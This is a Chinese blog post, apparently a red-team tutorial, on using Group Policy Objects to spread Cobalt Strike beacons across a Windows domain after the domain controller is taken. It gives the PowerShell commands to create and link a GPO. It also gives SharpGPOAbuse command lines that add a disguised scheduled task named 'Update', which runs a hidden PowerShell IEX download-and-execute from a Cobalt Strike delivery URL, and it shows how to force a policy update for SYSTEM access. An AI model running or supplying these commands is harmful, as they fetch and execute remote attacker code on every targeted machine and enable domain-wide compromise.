组策略(GPO)横向移动

组策略横向移动简述
在拿下目标域控之后需要的靶标可能在其他机器上,并且不知道具体信息
可以通过下面GPO组组策略上线到CS翻找相关靶标资料,或者是遇到特殊环
境必须使用组策略才可以进行横向移动,总的来说组策略进行横向移动适合
大量机器上线也可以用于单一机器上线控制下面将结合CS进行利用演示。
利用组策略上线域内机器
利用步骤:
1.拿下域控权限并创建GPO。
2.将GPO链接到域内需要域管权限。
3.使用SharpGPOAbuse.exe工具添加计划任务上线到cs
利用步骤1:
需要管理员权限创建名为hack123的GPO:
shell powershell -c Import-Module GroupPolicy;new-gpo -name hack123

在这里插入图片描述

利用步骤2:
链接hack123 GPO
shell powershell -c Import-Module GroupPolicy;new-gplink -name hack123 -Target 'dc=test,dc=com'

在这里插入图片描述

利用步骤3:
工具下载:
	https://github.com/FSecureLABS/SharpGPOAbuse
利用:

在这里插入图片描述

SharpGPOAbuse.exe 全部机器上线参数如下:		
execute-assembly /home/kali/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author test\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('替换为CS的Web Powershell地址'))\"" --GPOName hack123
SharpGPOAbuse.exe 指定机器上线参数如下:		
execute-assembly /home/kali/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author test\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('替换为CS的Web Powershell地址'))\"" --GPOName hack123 --FilterEnabled --TargetDnsName 指定机器目标IP
需要注意如果直接粘贴CS的Powershell需要注意hidden -c 后面的\

在这里插入图片描述

强制更新组策略默认更新是90分钟:
shell gpupdate /force

在这里插入图片描述
上线后是System权限
在这里插入图片描述

总结
本篇讲解了如何使用GPO组策略下发CS控制全域机器以及单个机器的控制上线,
在大型网络中通过GPO上线全部机器的情况是比较少的因为如果机器太多会导致
CS卡顿因此非特殊情况不会上线全部机器,只会上线单个机器。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值